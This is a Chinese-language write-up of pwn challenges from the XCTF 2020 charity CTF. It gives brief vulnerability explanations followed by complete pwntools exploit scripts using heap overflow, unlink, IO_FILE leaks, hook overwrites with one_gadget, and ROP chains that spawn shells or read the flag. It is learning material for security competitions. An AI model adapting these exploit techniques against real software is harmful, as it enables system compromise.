XCTF 2020年联合各所高校举办的一场公益CTF比赛,菜鸟全靠后期复现,而且还没有做完,不定期更新
Easy_Heap
由于添加块的时候会直接申请一个0x20大小的块,从而可以通过溢出8个字节的大小控制下一个块的fd,两个方法泄漏libcbase,一个是利用IO_FILE打印IO_stdin的地址,一种是修改free为puts的plt表地址,继而打印某函数的got表内容
1 | from pwn import* |
2 | def add(size,content): |
3 | p.sendlineafter('choice:','1') |
4 | p.sendlineafter('How long is this message?',str(size)) |
5 | if size >0x400: |
6 | return 0 |
7 | p.sendafter('What is the content of the message?',content) |
8 | def free(idx): |
9 | p.sendlineafter('choice:','2') |
10 | p.sendlineafter('deleted?',str(idx)) |
11 | def edit(idx,content): |
12 | p.sendlineafter('choice:','3') |
13 | p.sendlineafter('modified?',str(idx)) |
14 | p.sendafter('message?',content) |
15 | p = remote('121.36.209.145',9997) |
16 | #p = process('./main') |
17 | #context.log_level = 'debug' |
18 | libc = ELF('libc-2.23.so',checksec=False) |
19 | og = [0x45216,0x4526A,0xF02A4,0xF1147] |
20 | add(0x18,'FMYY') |
21 | add(0x18,'FMYY') |
22 | add(0x68,'FMYY') |
23 | free(0) |
24 | free(1) |
25 | add(0x500,'FMYY') |
26 | edit(0,p64(0)+p64(0x21)+'\x80') |
27 | add(0x18,p64(0x602088)) |
28 | edit(2,p64(0xF0)+p64(0)*6+p64(0x602080)) |
29 | edit(0,p64(0xFBAD1800)+p64(0)*3+'\x88') |
30 | p.recvline() |
31 | libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_'] |
32 | libc.address = libc_base |
33 | edit(1,p64(libc.sym['__free_hook'])) |
34 | edit(2,p64(libc_base+og[1])) |
35 | free(0) |
36 | p.interactive() |
1 | from pwn import* |
2 | def add(size,content): |
3 | p.sendlineafter('choice:','1') |
4 | p.sendlineafter('How long is this message?',str(size)) |
5 | if size >0x400: |
6 | return 0 |
7 | p.sendafter('What is the content of the message?',content) |
8 | def free(idx): |
9 | p.sendlineafter('choice:','2') |
10 | p.sendlineafter('deleted?',str(idx)) |
11 | def edit(idx,content): |
12 | p.sendlineafter('choice:','3') |
13 | p.sendlineafter('modified?',str(idx)) |
14 | p.sendafter('message?',content) |
15 | p = process('./main') |
16 | elf = ELF('./main') |
17 | context.log_level = 'debug' |
18 | libc = ELF('libc-2.23.so',checksec=False) |
19 | og = [0x45216,0x4526A,0xF02A4,0xF1147] |
20 | add(0x18,'FMYY') |
21 | free(0) |
22 | add(0x500,'FMYY') |
23 | add(0x18,'FMYY') |
24 | free(1) |
25 | add(0x500,'FMYY') |
26 | add(0x18,'FMYY') |
27 | edit(1,p64(0) + p64(0x21) + p64(elf.got['free'])) |
28 | edit(2,p64(0x400670)) |
29 | edit(1,p64(0) + p64(0x21) + p64(elf.got['puts'])) |
30 | free(2) |
31 | p.recvline() |
32 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['puts'] |
33 | libc.address = libc_base |
34 | edit(0,p64(0) + p64(0x21) + p64(elf.got['atoi'])) |
35 | edit(1,p64(libc.sym['system'])) |
36 | p.sendafter('choice:','/bin/sh\x00') |
37 | p.interactive() |
下载
lgd
堆溢出可以利用unlink,再用orw
1 | from pwn import* |
2 | def add(size,text): |
3 | p.sendlineafter('>> ','1') |
4 | p.recvuntil('______?') |
5 | p.sendline(str(size)) |
6 | p.recvuntil('yes_or_no?') |
7 | p.send(text) |
8 | def free(index): |
9 | p.sendlineafter('>> ','2') |
10 | p.recvuntil('index ?') |
11 | p.sendline(str(index)) |
12 | def show(index): |
13 | p.sendlineafter('>> ','3') |
14 | p.recvuntil('index ?') |
15 | p.sendline(str(index)) |
16 | def edit(index,text): |
17 | p.sendlineafter('>> ','4') |
18 | p.recvuntil('index ?') |
19 | p.sendline(str(index)) |
20 | p.recvuntil('content ?') |
21 | p.send(text) |
22 | p = remote('121.36.209.145',9998) |
23 | #context.log_level = 'debug' |
24 | elf = ELF('./main') |
25 | libc = ELF('./libc-2.23.so') |
26 | p.sendlineafter('your name?','FMYY') |
27 | add(0x88,'U'*0x89) |
28 | add(0x1000-0x10,'U'*0xF0) |
29 | add(0x100,'U'*0x100) |
30 | unlink = 0x6032E0 |
31 | payload = p64(0) + p64(0x81) |
32 | payload += p64(unlink - 0x18) |
33 | payload += p64(unlink - 0x10) |
34 | payload = payload.ljust(0x80,'U') |
35 | payload += p64(0x80) + '\x00' |
36 | edit(0,payload) |
37 | free(1) |
38 | edit(0,'\x00'*0x18 +p64(elf.got['read']) + p64(unlink)) |
39 | show(0) |
40 | p.recvline() |
41 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['read'] |
42 | log.info('Libc_Base:\t' + hex(libc_base)) |
43 | libc.address = libc_base |
44 | edit(1,p64(unlink) + p64(0x6033E0) + p64(libc.sym['__environ'])) |
45 | show(2) |
46 | p.recvline() |
47 | Stack = u64(p.recv(6).ljust(8,'\x00')) -0x228 |
48 | ROP = './flag\x00\x00' |
49 | ROP += p64(libc.address + 0x021102) |
50 | ROP += p64(0x6033E0) |
51 | ROP += p64(libc.address + 0x0202E8) |
52 | ROP += p64(0) |
53 | ROP += p64(libc.symbols['open']) |
54 | ROP += p64(libc.address + 0x021102) |
55 | ROP += p64(3) |
56 | ROP += p64(libc.address + 0x0202E8) |
57 | ROP += p64(libc.address + 0x3C6700) |
58 | ROP += p64(libc.address + 0x001B92) |
59 | ROP += p64(0x100) |
60 | ROP += p64(libc.symbols['read']) |
61 | ROP += p64(libc.address + 0x021102) |
62 | ROP += p64(1) |
63 | ROP += p64(libc.address + 0x0202E8) |
64 | ROP += p64(libc.address + 0x3C6700) |
65 | ROP += p64(libc.address + 0x001B92) |
66 | ROP += p64(0x100) |
67 | ROP += p64(libc.symbols['write']) |
68 | payload = p64(0x6033E0) |
69 | payload += p64(0x4009A9) |
70 | edit(1,ROP) |
71 | edit(0,p64(Stack)) |
72 | edit(0,payload) |
73 | p.interactive() |
下载
woodenbox
首先利用爆破修改main_arena+88最末两个字节然后泄漏libc,然后利用堆块重叠,写malloc_hook为one_gadget
1 | from pwn import* |
2 | def add(size,text): |
3 | p.sendlineafter('choice:','1') |
4 | p.sendlineafter('item name:',str(size)) |
5 | p.sendafter('item:',text) |
6 | def edit(index,size,text): |
7 | p.sendlineafter('choice:','2') |
8 | p.sendlineafter('item:',str(index)) |
9 | p.sendlineafter('name:',str(size)) |
10 | p.sendafter('item:',text) |
11 | def free(index): |
12 | p.sendlineafter('choice:','3') |
13 | p.sendafter('item:',str(index)) |
14 | p = remote('121.36.215.224',9998) |
15 | libc = ELF('./libc-2.23.so',checksec=False) |
16 | #context.log_level ='debug' |
17 | while True: |
18 | try: |
19 | p = remote('121.36.215.224',9998) |
20 | add(0x10,'\n') |
21 | add(0x10,'\n') |
22 | add(0x58,'\n') |
23 | add(0x68,'\n') |
24 | add(0x20,'\n') |
25 | add(0x10,'\n') |
26 | edit(1,0x20,'\x00'*0x18+p64(0x101)) |
27 | free(2) |
28 | free(2) |
29 | add(0x58,'\n') |
30 | add(0x28,'\n') |
31 | edit(0,0x70,'\x00'*0x58+p64(0x71)+'\xDD\x55') |
32 | add(0x68,'\n') |
33 | add(0x68,'\x00'*0x33+p64(0xFBAD1800)+p64(0)*3+'\x88') |
34 | libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdin_'] |
35 | libc.address=libc_base |
36 | og = [0x45216,0x4526A,0xF02A4,0xF1147] |
37 | add(0x68,'\n') |
38 | free(6) |
39 | edit(0,0x100,'\x00'*0x28+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23)) |
40 | add(0x68,'\n') |
41 | add(0x68,'\x00'*0x13+p64(og[2]+libc_base)) |
42 | p.sendlineafter('Your choice:','4') |
43 | break |
44 | except: |
45 | p.close() |
46 | continue |
47 | p.interactive() |
下载
Shotest_Path_v2
利用选择4,覆盖申请空间时的标志为非0值,从而可以利用UAF打印对应地址的FLAG
1 | from pwn import* |
2 | #context.log_level ='debug' |
3 | def add(idx,length,name,sign): |
4 | p.sendlineafter('---> ','1') |
5 | p.sendlineafter('ID: ',str(idx)) |
6 | p.sendlineafter('Price: ','256') |
7 | p.sendlineafter('Length: ',str(length)) |
8 | p.sendlineafter(' Name: ',name) |
9 | if sign !=0: |
10 | p.sendlineafter('station: ','20') |
11 | for n in range(21): |
12 | if n +1!= idx: |
13 | p.sendlineafter('station ID: ',str(n+1)) |
14 | p.sendlineafter('distance: ','-1') |
15 | else: |
16 | p.sendlineafter('station: ','0') |
17 | def free(index): |
18 | p.sendlineafter('---> ','2') |
19 | p.sendlineafter('ID: ',str(index)) |
20 | def show(index): |
21 | p.sendlineafter('---> ','3') |
22 | p.sendlineafter('ID: ',str(index)) |
23 | def list(start,end): |
24 | p.sendlineafter('---> ','4') |
25 | p.sendlineafter('Station ID: ',str(start)) |
26 | p.sendlineafter('Station ID: ',str(end)) |
27 | |
28 | p = process('./main') |
29 | add(0,0x20,'FMYY',0) |
30 | add(30,0x20,'FMYY',0) |
31 | for i in range(21): |
32 | add(i+1,0x10,'FMYY',1) |
33 | free(0) |
34 | list(1,2) |
35 | free(30) |
36 | add(29,0x10,p64(0)+p64(0x6068E0),0) |
37 | show(0) |
38 | p.recvuntil('name: ') |
39 | log.info('FLAG:\t'+p.recvuntil('}')) |
40 | p.close() |
下载
musl
musl-libc,一种轻量型的C库文件,首先泄漏libc_base,本地环境调试时vmmap可以知道heap mmap libc等位置,然后利用unlink继而泄漏environ中的栈值,从而利用修改栈数据getshell
1 | from pwn import* |
2 | def add(size,content,sign): |
3 | p.sendlineafter('>','1') |
4 | p.sendlineafter('size? >',str(size)) |
5 | p.sendlineafter('believer? >',sign) |
6 | p.sendafter('sleeve >',content) |
7 | def free(index): |
8 | p.sendlineafter('>','2') |
9 | p.sendlineafter('ID? >',str(index)) |
10 | def edit(index,content): |
11 | p.sendlineafter('> ','3') |
12 | p.sendlineafter('ID? >',str(index)) |
13 | p.send(content) |
14 | def show(index): |
15 | p.sendlineafter('>','4') |
16 | p.sendlineafter('ID? >',str(index)) |
17 | return p.recvuntil("Done") |
18 | #context.log_level ='debug' |
19 | p = process('./main') |
20 | libc = ELF('libc.so',checksec=False) |
21 | add(0x60,'\n','N') #0 |
22 | add(0x60,'\n','N') #1 |
23 | add(0x60,'\n','N') #2 |
24 | add(0x60,'\n','N') #3 |
25 | add(0x60,'\n','N') #4 |
26 | add(0x60,'\n','N') #5 |
27 | free(3) |
28 | free(5) |
29 | free(1) |
30 | payload = "\x00"*0x38+p64(0)*3+p64(0x61)+p64(0x20)+p64(0XDEADBEEF)*2+p64(0x70)+p64(0x81)+'H'*8 |
31 | add(0x38,payload,'Y') |
32 | libc_base = u64(show(4)[8:14].ljust(8,'\x00'))-0x292E38 |
33 | mmap_base = libc_base + 0x290000 |
34 | heap_base = libc_base + 0x293000 |
35 | edit(1,p64(1)+p64(0x71)+p64(mmap_base+0x18-0x18)+p64(mmap_base+0x18-0x10)+"\n") |
36 | free(4) |
37 | edit(1,p64(mmap_base+0x10)+p64(0x4)+p64(0x602034)+p64(8)+p64(libc_base+libc.sym["environ"])+"\n") |
38 | edit(1,p32(0)) |
39 | environ = u64(show(2)[:6].ljust(8,'\x00')) |
40 | pop_rdi_ret = 0x14862 |
41 | binsh = 0x91345 |
42 | predict_ret = environ-0x90 |
43 | edit(0,p64(0x70)+p64(predict_ret)+'\n') |
44 | edit(1,p64(libc_base+pop_rdi_ret)+p64(libc_base+binsh)+p64(libc_base+libc.sym["system"])) |
45 | p.interactive() |
下载
Bjut
盲打题,负数溢出,从-40处可以打印出取得libc_base,然后-16 stderr结构向下溢出改虚表为one_gadget
此题我本地是Kali系统,而Kali的所有one_gadget都不满足条件,所以有条件的还是Ubuntu 19复现
下方所给出的LIBC以及写的EXP都在Kali下所写
1 | from pwn import* |
2 | def add(size,content): #count <=0x10 |
3 | p.sendlineafter('>','1') |
4 | p.sendlineafter('The length of your hw:',str(size)) #0<size<0x80 |
5 | p.sendafter('Input your hw:',content) |
6 | def show(index): |
7 | p.sendlineafter('>','4') |
8 | p.sendlineafter('index of your hw:',str(index)) |
9 | def free(index): |
10 | p.sendlineafter('>','3') |
11 | p.sendlineafter('index of your hw:',str(index)) |
12 | def edit(index,content): |
13 | p.sendlineafter('>','2') |
14 | p.sendlineafter('index of your hw:',str(index)) |
15 | p.sendafter('Input your hw:',content) |
16 | p = process('./main') |
17 | context(arch='amd64',os='linux') |
18 | #context.log_level ='debug' |
19 | show(-40) |
20 | p.recvuntil('Your hw:\n') |
21 | libc_base = u64(p.recv(0x1D8)[-8:]) - 0x26AD0 |
22 | log.info(hex(libc_base)) |
23 | IO_stderr = flat([ |
24 | 0x00000000FBAD2087, libc_base+0x1BA703, |
25 | libc_base+0x1BA703, libc_base+0x1BA703, |
26 | libc_base+0x1BA703, libc_base+0x1BA703, |
27 | libc_base+0x1BA703, libc_base+0x1BA703, |
28 | libc_base+0x1BA704, 0x0000000000000000, |
29 | 0x0000000000000000, 0x0000000000000000, |
30 | 0x0000000000000000, libc_base+0x1BA760, |
31 | 0x0000000000000002, 0xFFFFFFFFFFFFFFFF, |
32 | 0x0000000000000000, libc_base+0x1BC570, |
33 | 0xFFFFFFFFFFFFFFFF, 0x0000000000000000, |
34 | libc_base+0x1B9780, 0x0000000000000000, |
35 | 0x0000000000000000, 0x0000000000000000, |
36 | 0x0000000000000000, 0x0000000000000000, |
37 | 0x0000000000000000, libc_base+0x1BB560]) |
38 | IO_stdout = IO_stderr |
39 | IO_stdout +=flat([ |
40 | 0x00000000FBAD2887, libc_base+0x1BA7E3, |
41 | libc_base+0x1BA7E3, libc_base+0x1BA7E3, |
42 | libc_base+0x1BA7E3, libc_base+0x1BA7E3, |
43 | libc_base+0x1BA7E3, libc_base+0x1BA7E3, |
44 | libc_base+0x1BA7E4, 0x0000000000000000, |
45 | 0x0000000000000000, 0x0000000000000000, |
46 | 0x0000000000000000, libc_base+0x1B9A00, |
47 | 0x0000000000000001, 0xFFFFFFFFFFFFFFFF, |
48 | 0x000000003E000000, libc_base+0x1BC580, |
49 | 0xFFFFFFFFFFFFFFFF, 0x0000000000000000, |
50 | libc_base+0x1B98C0, 0x0000000000000000, |
51 | 0x0000000000000000, 0x0000000000000000, |
52 | 0x00000000FFFFFFFF, 0x0000000000000000, |
53 | 0x0000000000000000, libc_base+0x1BB560]) |
54 | payload = IO_stdout |
55 | payload += flat([ |
56 | libc_base+0x1BA680,libc_base+0x1BA760, |
57 | libc_base+0x1B9A00,libc_base+0x26E20]) |
58 | payload += flat([ |
59 | libc_base+0x16AFE0, libc_base+0x16B040, |
60 | libc_base+0x16B070, libc_base+0x16B0D0, |
61 | libc_base+0x16B310, libc_base+0x16B4E0, |
62 | libc_base+0x16B510, libc_base+0x16B540, |
63 | libc_base+0x16B5A0, libc_base+0x91030 , |
64 | libc_base+0x16B6C0, libc_base+0x16B700, |
65 | libc_base+0x16B710, libc_base+0x16B780, |
66 | libc_base+0xF5FD0 , libc_base+0x16B790, |
67 | libc_base+0x16B840, libc_base+0x16B880, |
68 | libc_base+0x11A190, libc_base+0x16B8A0, |
69 | libc_base+0x16B940, libc_base+0x16B910, |
70 | libc_base+0x16B9C0, libc_base+0x129490, |
71 | libc_base+0x16B9E0, libc_base+0x16BA10, |
72 | libc_base+0x16BA40, libc_base+0x16BA70, |
73 | libc_base+0x16BAA0, libc_base+0x16BB50]) |
74 | payload += p64(0)*4 |
75 | payload += p64(libc_base+0xC84DA)*16 |
76 | edit(-16,payload) |
77 | p.interactive() |